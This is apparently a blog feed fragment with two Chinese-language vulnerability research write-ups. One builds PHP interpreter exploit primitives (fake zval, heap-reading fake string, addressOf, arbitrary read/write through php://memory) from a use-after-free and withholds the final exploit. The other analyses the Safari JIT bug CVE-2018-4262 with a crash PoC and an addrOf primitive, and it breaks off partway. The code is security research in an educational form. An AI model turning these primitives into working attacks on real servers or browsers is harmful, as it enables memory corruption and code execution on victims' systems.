(即<code>$user_str</code>)上，它对应我们使用fakeZval构造的<code>zval</code>。通过读取<code>$user_str</code>，我们就拿到了这个<code>string</code>的地址。</p><p>此时<code>$user_str</code>内存布局应该为</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">                              ┌──────────────┐                                 </span><br><span class="line">                              │              │                                 </span><br><span class="line">                              │ string_header│                                 </span><br><span class="line">                              │              │                                 </span><br><span class="line">                              ├──────────────┤0x18                             </span><br><span class="line">                              │              │                                 </span><br><span class="line">                              │    ...       │                                 </span><br><span class="line">                              │              │                     string: &#39;1&#39; </span><br><span class="line">fake_zval_with_null──────────►├──────────────┤0x40 ◄─────────────┬────────────┐</span><br><span class="line">            │  zval_value     │    0x0       │                   │  gc_header │</span><br><span class="line">            ├────────────────►├──────────────┤0x48               ├────────────┤</span><br><span class="line">            │  zval_type      │    0x3       │                   │  hash      │</span><br><span class="line">            └────────────────►├──────────────┤                   ├────────────┤</span><br><span class="line">                              │              │                   │  len       │</span><br><span class="line">                              │              │                   ├────────────┤</span><br><span class="line">                              │              │                   │  content   │</span><br><span class="line">                              └──────────────┘                   └────────────┘</span><br></pre></td></tr></table></figure><p>注意里面的<code>0x3</code>表示是这个fake zval是一个<code>true</code>。因为这个fake zval作为一个待赋值的<code>zval</code>，它只是一个<code>null</code>，非前面我们提到的refcounted类型的值。所以这里的赋值过程非常简单:</p><ol type="1"><li>将<code>string : "1"</code>的地址复制到fake zval的<code>zval.value.str</code>中;</li><li>将fake zval类型修改为 <code>is_string</code>。</li></ol><p>注意这里有一个<strong>小问题</strong>，你会发现上述泄露出来的<code>string</code>地址不在PHP自己管理的堆上，用于存放各种PHP运行时结构。而是在glibc通过<code>malloc/free</code>管理的堆上。这是因为PHP对于字符串的一个小优化，PHP会将常见的字符串对应的<code>string</code>事先分配，如果在运行时，有碰到这些字符串，直接返回之前分配好的就行，避免频繁分配。而这些字符串在PHP是以<em>persistent string</em>出现的， 它们内存都是通过<code>malloc</code>分配的。</p><p><code>true</code>弱转对应的当个字符<code>"1"</code>恰好就是这已知字符串中的一个，并且它在这里连接是一个empty string。使得最后结果依然这个已知的<code>string</code>。如果我们想到得到PHP自己堆上的一个地址，我们就必须绕过它。很简单，我们可以用<code>int</code>或者<code>double</code>来作为fake zval的值就行。</p><p>这里我使用的是<code>int : (100)</code>，最后我们就得到了<code>string : "100"</code>的地址。为什么使用100，后面会提到。</p><h2 id="x07-获取一块内存">0x07 获取一块内存</h2><p>目前我们有<code>string : "100"</code>的地址<code>str100_addr</code>，我们先来看一下<code>string : "100"</code>的memory layout:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">                    string : &quot;100&quot;             </span><br><span class="line">              ┌────────────────────────┐       </span><br><span class="line">              │   0x0000001600000001   │gc_info</span><br><span class="line">fake_string──►├────────────────────────┤       </span><br><span class="line">              │   0x0000000000000000   │hash   </span><br><span class="line">              ├────────────────────────┤       </span><br><span class="line">              │   0x0000000000000003   │len    </span><br><span class="line">              ├────────────────────────┤       </span><br><span class="line">fake_len─────►│   0x00007fff00303031   │content</span><br><span class="line">              ├────────────────────────┤       </span><br><span class="line">              │                        │       </span><br><span class="line">              └────────────────────────┘       </span><br></pre></td></tr></table></figure><p>在content这里的<code>0x303031</code>其实对应字符串<code>"100"</code>。试想，我们如果利用fakeZval原语构造一个zval， 让它的类型为<code>string</code>，让它的值指向<code>str100_addr + 0x8</code>，即上图的fake_string处的位置。从fake_string开始，我们构造了一个新的<code>string</code>， 它的长度为<code>0x00007fff00303031</code>。其中出现的<code>7fff</code>是堆上的一些随机数据，这里的<code>0x303031</code>它是大于一个PHP中memory chunk的容量<code>0x200000</code>的，以至于这个fake_string能盖住整个memory chunk，这就是我之前用<code>int : (100)</code>的原因。</p><p>我们的想法是，我能不能利用这个fake_string读到内存后面的内容？ 那么我需要拿到这个fake_string，如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">reset_victim_arr_and_user_str();</span><br><span class="line"></span><br><span class="line">set_error_handler(<span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"><span class="comment">// resize</span></span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$victim_arr</span>;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$user_str_length</span>;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$user_str</span>;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$first_elem_offset</span>;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$zend_string_header</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$str100_addr</span>;</span><br><span class="line">    </span><br><span class="line"><span class="variable">$victim_arr</span>[<span class="string">&#x27;a9&#x27;</span>] = <span class="number">1</span>;</span><br><span class="line">    <span class="variable">$user_str</span> = str_repeat(<span class="string">&#x27;b&#x27;</span>, <span class="variable">$user_str_length</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// construct fake zval that contains a fake zend_string;</span></span><br><span class="line">    <span class="comment">// 1. zval.value.str &lt;= $leak_addr + 0x8;</span></span><br><span class="line">    <span class="comment">// 2. zval.u1.type_info &lt;= is_string_ex == (6 | (1 &lt;&lt; 8));</span></span><br><span class="line">    writestr64(<span class="variable">$user_str</span>, <span class="variable">$first_elem_offset</span> - <span class="variable">$zend_string_header</span>, <span class="variable">$str100_addr</span> + <span class="number">0x8</span>);</span><br><span class="line">    writestr64(<span class="variable">$user_str</span>, <span class="variable">$first_elem_offset</span> - <span class="variable">$zend_string_header</span> + <span class="number">0x8</span>, (<span class="number">6</span> | (<span class="number">1</span> &lt;&lt; <span class="number">8</span>)));</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="variable">$heap</span> = <span class="variable">$victim_arr</span>[<span class="string">&#x27;a1&#x27;</span>] .= <span class="variable">$undef_var</span>;</span><br></pre></td></tr></table></figure><ul><li>第1行 <code>reset_victim_arr_and_user_str()</code> 表示重置<code>$victim_arr</code> 和 <code>$user_str</code>，以保证后面UAF的触发;</li><li>在error_handler里面我们构造了一个fake zval, 指向我们的fake_string;</li><li>注意第15行这里，我们用<code>$heap</code> hold了后面这个array assign的计算结果。后面array assign的计算结果是fake_string拼接一个empty string，那么这意味着<code>$heap</code>就是fake_string。</li></ul><p>我们可以通过读取<code>$heap</code>来漫游PHP堆上的内容。更有趣的事，我们还可以修改<code>$heap</code>对应fake_string的内容，但不会触发copy-on-write (COW)。为什么不会触发COW呢? 按道理，<code>$heap</code> hold了array assign的计算结果，即为fake_string，那么fake_string的引用计数是需要加1的，如果fake_string的引用计数大于1，在我们修改<code>$heap</code>的时候，就会发生COW, 造成我们根本修改不到原来的fake_string上的内容。再退一步说，我们可能会在COW的造成PHP直接crash掉，因为fake_string的size可能会很大，比如参考前面的<code>0x00007fff00303031</code>。</p><p>这里不会发生COW的原因在fake_string的gc_info中，它的值是原来<code>string : "100"</code>的hash，即为<code>0x00</code>。而在将array assign结果传递给<code>$heap</code>的过程中，fake_string的引用计数加1变成了1，而非大于1，以至于在后续对<code>$heap</code>修改过程中并不会发生COW。</p><h2 id="x08-构造addressof">0x08 构造addressOf</h2><p>现在我们就有一个可读可写，并且我们知道它位置的内存。实际做到一步，我们已经可以停手了。比如像[5]中的利用方式一样:</p><ol type="1"><li>在堆上喷射大量我们想要读取的内存结构，拿到我们想要的地址。</li><li>在堆上喷射大量我们想要写入的内容结构，写入我们希望的值。</li></ol><p>在第一版exploitation我是这样的利用的。但是这里还是有很多不确定性，比如我们喷射的内存结构不在我们可以漫游的memory chunk中，就可能会失败。这时候我们需要重新调整fake_string的位置，比如先喷射大量的<code>string : "100"</code>，让我们迁移到全新的memory chunk上。</p><p>没人喜欢不确定性，我也一样。这里我们来构造一个更加稳定的addressOf来帮助我们定位想要的内存结构位置。比如</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$num</span> = <span class="number">1111</span>;</span><br><span class="line"><span class="variable">$num_value</span> = addressOf(<span class="variable">$num</span>);</span><br><span class="line"><span class="variable">$str</span> = <span class="string">&quot;aaaaaaa&quot;</span>;</span><br><span class="line"><span class="variable">$str_addr</span> = addressOf(<span class="variable">$func</span>);</span><br><span class="line"><span class="variable">$obj</span> = <span class="keyword">new</span> <span class="built_in">stdClass</span>();</span><br><span class="line"><span class="variable">$obj_addr</span> = addressOf(<span class="variable">$obj</span>);</span><br></pre></td></tr></table></figure><p>它有如下功能 :</p><ul><li>对于不是refcounted的值，我们直接可以通过addressOf来获取它的immediate value。比如上面的<code>$num</code>。</li><li>对于refcounted的值，我们可以通过addressOf来获取它的地址。比如上面的<code>$str</code>和<code>$obj</code>。</li></ul><p>我们的想法是在前面这块内存上布置一个<code>array : [0, 1, 2, 3, 4, 5, 6, 7]</code>。如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">array : [0, 1, 2, 3, 4, 5, 6, 7]                     </span><br><span class="line">┌───────────────┐                                    </span><br><span class="line">│packed_arr_flag│                     butterfly      </span><br><span class="line">├───────────────┤                  ┌────────────────┐</span><br><span class="line">│   ...         │                  │    invalid_idx │</span><br><span class="line">│   ...         │                  ├────────────────┤</span><br><span class="line">├───────────────┤                  │    invalid_idx │</span><br><span class="line">│  arData       ├─────────────────►├────────────────┤</span><br><span class="line">├───────────────┤                  │     bucket0    │</span><br><span class="line">│   ...         │                  ├────────────────┤</span><br><span class="line">│   ...         │                  │     ...        │</span><br><span class="line">│               │                  ├────────────────┤</span><br><span class="line">│               │                  │     bucket7    │</span><br><span class="line">│               │                  └────────────────┘</span><br><span class="line">└───────────────┘                                    </span><br></pre></td></tr></table></figure><p>我们的想法:</p><ol type="1"><li>控制这个fake array的引用计数为1;</li><li>使用fakeZval原语包装这个fake_array;</li><li>触发前面的UAF，fake_array被释放，我们马上申请一个相同的array <code>$hax</code>，拿到这块内存;</li><li>假设你要读取的值为<code>$val</code>， 那么使得<code>$hax[0] = $val</code> ;</li><li>那么我们再去<code>$heap</code>指定位置读butterfly上第一个元素的内容，即可获得我们想要的。</li></ol><p>需要注意的是，在free一个小内存的时候，PHP是先定位它所在page，来判定它属于什么size的bin，再投放正确的到free_list上。所以你构造fake array的位置要确定好。如果你想绕过这个限制，你可以申请一块超大内存，来自己伪造memory chunk，具体可以参考[16]。</p><h2 id="x09-任意读写原语">0x09 任意读/写原语</h2><p>我目光对准了<code>php://memory</code>[15]，PHP运行我们以文件操作的形式操作一块内存。控制这块内存大小的结构为，</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">typedef struct &#123;</span><br><span class="line">char        *data;</span><br><span class="line">size_t      fpos;</span><br><span class="line">size_t      fsize;</span><br><span class="line">size_t      smax;</span><br><span class="line"><span class="keyword">int</span>mode;</span><br><span class="line">&#125; php_stream_memory_data;</span><br></pre></td></tr></table></figure><p>我们的想法:</p><ol type="1"><li>在<code>$heap</code>上布置和<code>sizeof(php_stream_memory_data)</code>大小的<code>string</code>;</li><li>利用UAF释放掉这个<code>string</code>，确保<code>fopen("php://memory")</code>在创建<code>php_stream</code>拿到;</li><li>修改上面的<code>data</code>指针和<code>fpos</code>以及<code>fsize</code>来读写任意的区域。</li></ol><p>同样地，要注意释放<code>string</code>所在的page。</p><h2 id="x0a-完整的利用">0x0A 完整的利用</h2><p>暂时不提供，因为影响比较大，且没有修复。</p><h2 id="x0b-总结">0x0B 总结</h2><p>我们分析了PHP IR中存在的问题，以及为什么长时间没有被修复，最后提出了一个修复建议。写下了我在探索这个问题时，给过我帮助的3只蝴蝶。最后给大家分享了我的利用方式，将JS引擎利用中的常见原语尝试搬到了PHP上。当走出了误区之后，在构造exploitation过程中诞生了许多ideas，实际这不是一个特别难的利用，只是我比较笨而已。我觉得不同解释器或者编译器的利用中都有很多相同点，可以相互借鉴学习，也许能帮你找到更多的思路。</p><p>最后，题目中的"PHP之殇"，更多是对过去的一种告别，未来我会更多关注PHP中可能马上会release的新的JIT complier，希望在未来给大家带来我关于它的一些有趣的故事。</p><h2 id="x0c-引用">0x0C 引用</h2><ol type="1"><li>风雪之隅, https://www.laruence.com/</li><li>深入理解PHP7内核之HashTable, https://www.laruence.com/2020/02/25/3182.html</li><li>crash.php, https://github.com/m4p1e/php-exploit/blob/master/crash.php</li><li>zend_assign_dim_op, https://github.com/php/php-src/blob/master/Zend/zend_vm_def.h#L1151</li><li>CVE-2023-3824: 幸运的Off-by-one (two?), https://m4p1e.com/2024/03/01/CVE-2023-3824/</li><li>WebAssembly安全研究总结, https://mp.weixin.qq.com/s/cPUaDQaCWpZiBEgZqbqvPg</li><li>JavaScript engine exploit（二）,https://www.anquanke.com/post/id/183805</li><li>Browser Exploitation, https://liveoverflow.com/topic/browser-exploitation/</li><li>Attacking JavaScript Engine, http://www.phrack.org/issues/70/3.html</li><li>Pwning Lua through 'load', https://saelo.github.io/posts/pwning-lua-through-load.html</li><li>LuaJIT Internals: Intro, https://0xbigshaq.github.io/2022/08/22/lua-jit-intro/</li><li>dstogov/ir, https://github.com/dstogov/ir</li><li>https://www.researchgate.net/publication/374470404_IR_JIT_Framework_a_base_for_the_next_generation_JIT_for_PHP</li><li>Zend/zend_types.h, https://github.com/php/php-src/blob/master/Zend/zend_types.h</li><li>PHP memory wrapper https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory</li><li>RWCTF2021 Mop 0day Writeup, https://m4p1e.com/2021/01/13/rwctf2021-master-of-php/</li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;x01-ir设计中的问题&quot;&gt;0x01 IR设计中的问题&lt;/h2&gt;
&lt;h3 id=&quot;问题来源&quot;&gt;1.1 问题来源&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.laruence.com/&quot;&gt;鸟哥&lt;/a&gt;(Laruence) [1]是所有国内PHPer应该</summary>
      
    
    
    
    <category term="php" scheme="https://m4p1e.com/categories/php/"/>
    
    
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    <title>CVE-2018-4262:  Apple Safari RegExp Match Type Confusion by JIT</title>
    <link href="https://m4p1e.com/2024/03/08/CVE-2018-4262/"/>
    <id>https://m4p1e.com/2024/03/08/CVE-2018-4262/</id>
    <published>2024-03-08T21:00:00.000Z</published>
    <updated>2024-03-09T02:42:08.418Z</updated>
    
    <content type="html"><![CDATA[<h2 id="x00-official-bug-reports">0x00 Official Bug Reports</h2><p>Bug report: https://bugs.webkit.org/show_bug.cgi?id=191731</p><p>关键的Patch:</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">// Source/JavaScriptCore/builtins/RegExpPrototype.js</span><br><span class="line">function hasObservableSideEffectsForRegExpMatch(regexp)</span><br><span class="line">&#123;</span><br><span class="line">// ...</span><br><span class="line"><span class="deletion">-return !@isRegExpObject(regexp);</span></span><br><span class="line"><span class="addition">+return typeof regexp.lastIndex !== &quot;number&quot;;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>[5] 官方介绍.</p><h2 id="x01-simple-poc">0x01 Simple POC</h2><p>来自[1].</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> victim_array = [<span class="number">1.1</span>];</span><br><span class="line"><span class="keyword">var</span> reg = <span class="regexp">/abc/y</span>;</span><br><span class="line"><span class="keyword">var</span> val = <span class="number">5.2900040263529e-310</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> funcToJIT = <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="string">&#x27;abc&#x27;</span>.match(reg);</span><br><span class="line">    victim_array[<span class="number">0</span>] = val;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; <span class="number">10000</span>; ++i)&#123;</span><br><span class="line">    funcToJIT()</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">regexLastIndex = &#123;&#125;;</span><br><span class="line">regexLastIndex.toString = <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    victim_array[<span class="number">0</span>] = &#123;&#125;;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;0&quot;</span>;</span><br><span class="line">&#125;;</span><br><span class="line">reg.lastIndex = regexLastIndex;</span><br><span class="line">funcToJIT()</span><br><span class="line">print(victim_array[<span class="number">0</span>])</span><br></pre></td></tr></table></figure><p>它的运行结果:</p><ol type="1"><li>在第20行之后, <code>victim_array[0]</code>类型为<code>Pointer</code> (预期类型为<code>Double</code>), 而值却为 <code>5.2900040263529e-310 == 0x0000616161616161</code>.</li><li>在第21行尝试调用<code>victim_array[0].toString()</code>, 但是它是一个invalid pointer, 因此产生了segmentfault.</li></ol><p>造成原因:</p><ol type="1"><li><p>第10-12行触发JIT之后, 使得第7行这里有一个<code>PutByVal</code> without type check, 会直接将<code>val</code>写入对应的内存, 不考虑它的类型. 这是因为JIT compiler在优化时, 认为<code>val</code>值没有发生变化. 更具体地说, 在第6行这里读取<code>lastIndex</code>时产生的副作用(调用<code>.toString()</code>)没有被考虑到.</p></li><li><p>第19行将<code>reg.lastIndex</code>设置为了一个object, 这个object的<code>toString</code>方法里面会将<code>victim_array[0]</code>置为一个empty object.</p></li><li><p>第20行触发了之前生成的JIT代码:</p><ol type="1"><li>调用<code>match</code>时, 会读取<code>lastIndex</code>, 发现它不是一个整数, 那么需要将其转换成整数, 所以触发了<code>toString</code>, 使得<code>victim_array[0]</code>被置为了一个object.</li><li>随后在写入 <code>val</code>时并没有进行type checking.</li></ol></li></ol><h2 id="x02-详细的漏洞原因">0x02 详细的漏洞原因</h2><p>前面提到了大致原因, 就是DFGJIT compiler没有意识到在访问<code>lastIndex</code>会产生side-effects. 运行jsc时附带上环境变量<code>JSC_dumpSourceAtDFGTime=true</code>和<code>JSC_reportDFGCompileTimes=true</code>, 可以显示DFGJIT优化作用在哪些source code上. 值得注意是<code>match</code>方法是由Javascript代码写的, 这意味jsc中的内置函数可能有多种implementation方式, 以后在查阅指定函数时, 可以关注一下.</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// builtins/StringPrototype.js</span></span><br><span class="line"><span class="comment">// &#x27;...&#x27; = code we are not interested in.</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">match</span>(<span class="params">regex</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="meta">    &quot;use strict&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">this</span> == <span class="literal">null</span>)</span><br><span class="line">        @throwTypeError(...);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (regex != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> matcher = regexp.@matchSymbol; <span class="comment">// 除了&#x27;abc&#x27;.match(regex), 我们还可以写regex[Symbol.match](&#x27;abc&#x27;). </span></span><br><span class="line">        <span class="keyword">if</span> (matcher != @<span class="literal">undefined</span>)</span><br><span class="line">            <span class="keyword">return</span> matcher.@call(regexp, <span class="built_in">this</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进第13行,</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// builtins/RegExpPrototype.js</span></span><br><span class="line">@overriddenName=<span class="string">&quot;[Symbol.match]&quot;</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">match</span>(<span class="params">strArg</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  ...</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (!@hasObservableSideEffectsForRegExpMatch(<span class="built_in">this</span>))</span><br><span class="line">      <span class="keyword">return</span> @regExpMatchFast.@call(<span class="built_in">this</span>, str);</span><br><span class="line">  <span class="keyword">return</span> @matchSlow(<span class="built_in">this</span>, str);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其中<code>hasObservableSideEffectsForRegExpMatch</code>函数会判定此次<code>match</code>方法调用过程中是否会产生side-effects. 如果没有产生side-effects, 则进行<code>regExpMatchFast</code>调用. 参考前面的patch, <code>hasObservableSideEffectsForRegExpMatch</code>并没有考虑到<code>lastIndex</code>的存在. 所以这里会顺利的进行<code>regExpMatchFast</code>调用, 而在DFGJIT认为它并不会<strong>clobber the World</strong> (side-effects alias?) .</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h</span></span><br><span class="line"><span class="keyword">switch</span> (node-&gt;op()) &#123;</span><br><span class="line">    ...</span><br><span class="line">    <span class="keyword">case</span> RegExpTest:</span><br><span class="line">        <span class="comment">// Even if we&#x27;ve proven know input types as RegExpObject and String,</span></span><br><span class="line">        <span class="comment">// accessing lastIndex is effectful if it&#x27;s a global regexp.</span></span><br><span class="line">        clobberWorld();</span><br><span class="line">        setNoneCellTypeForNode(node, SpecBoolean);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> RegExpMatchFast:</span><br><span class="line">        ASSERT(node-&gt;child2().useKind() == RegExpObjectUse);</span><br><span class="line">        ASSERT(node-&gt;child3().useKind() == StringUse || node-&gt;child3().useKind() == KnownStringUse);</span><br><span class="line">        setTypeForNode(node, SpecOther | SpecArray);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>值得注意是<code>RegExpTest</code>中的comment已经提及了<code>lastIndex</code>可以会被改变, 有趣是<code>RegExpMatchFast</code> 中为何不考虑呢?</p><h2 id="x03-大致的利用路线">0x03 大致的利用路线</h2><p>大致路线为:</p><ol type="1"><li>构造<code>addressOf</code>原语</li><li>构造<code>fakeObj</code>原语</li><li>构造更加稳定的<code>addressOf</code>和<code>fakeObj</code>原语</li><li>构造任意地址<code>read64</code>和<code>write64</code>原语</li></ol><h2 id="x04-addressof-原语">0x04 addressOf 原语</h2><p>原语如下, 传入的<code>obj</code>为一个需要泄露地址的目标object. 来自[1]</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">addrOf</span>(<span class="params">obj</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">var</span> victim_array = [<span class="number">1.1</span>];</span><br><span class="line">    <span class="keyword">var</span> reg = <span class="regexp">/abc/y</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> funcToJIT = <span class="function"><span class="keyword">function</span>(<span class="params">array</span>)</span>&#123;</span><br><span class="line">        <span class="string">&#x27;abc&#x27;</span>.match(reg);</span><br><span class="line">        <span class="keyword">return</span> array[<span class="number">0</span>];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">var</span> i=<span class="number">0</span>; i&lt; <span class="number">10000</span>; i++)&#123;</span><br><span class="line">        funcToJIT(victim_array);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    regexLastIndex = &#123;&#125;;</span><br><span class="line">    regexLastIndex.toString = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        victim_array[<span class="number">0</span>] = obj;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;0&quot;</span>;</span><br><span class="line">    &#125;;</span><br><span class="line">    reg.lastIndex = regexLastIndex;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> funcToJIT(victim_array)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>注意此时函数<code>funcToJit</code>中的不再是<code>PutByVal</code>, 而是<code>GetByVal</code>. 当JIT compiler认为<code>victim_array</code>在运行过程中没有改变(总是<code>ArrayWithDouble</code>)之后, 它会直接读取它的第1个元素, 把它作为一个<code>Double</code>返回而不进行type checking.</p><p>这里有一个小问题, 一个<code>Pointer</code>对应value显然不是一个合法的<code>Double</code>, 那么函数<code>addrof</code>是如何将<code>Pointer</code>作为<code>Double</code>返回的 ? 这个问题非常有趣, 经过一段时间debug, 我发现了<code>Double</code>在内存中的表示是不一样的.</p><ul><li>当一个object被标记为<code>ArrayWithDouble</code>, 意味着它的所有元素都是<code>Double</code>. 这个时候所有的<code>Double</code>会以原double-floating point存储, 而不会加上<code>2^48</code>的offset.</li><li>当一个object被标记为<code>ArrayWithContiguous</code>, 意味着它包含的元素类型是多样的. 这个时候所有的元素都会严格按照<code>JSValue</code>的规定来存储.</li></ul><p>我是如何发现这个问题呢? 我用<code>--dumpDFGDisassembly</code>打印了经过DFGJIT优化过的代码:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">438:&lt;!3:loc14&gt;GetByVal(KnownCell:@629, Int32:@437, Check:Untyped:@621, Double|MustGen|VarArgs|UseAsOther, AnyIntAsDouble|NonIntAsdouble, Double+OriginalCopyOnWriteArray+InBounds+AsIs+Read, R:Butterfly_publicLength,IndexedDoubleProperties, Exits, bc#39, ExitValid)  predicting NonIntAsdouble</span><br><span 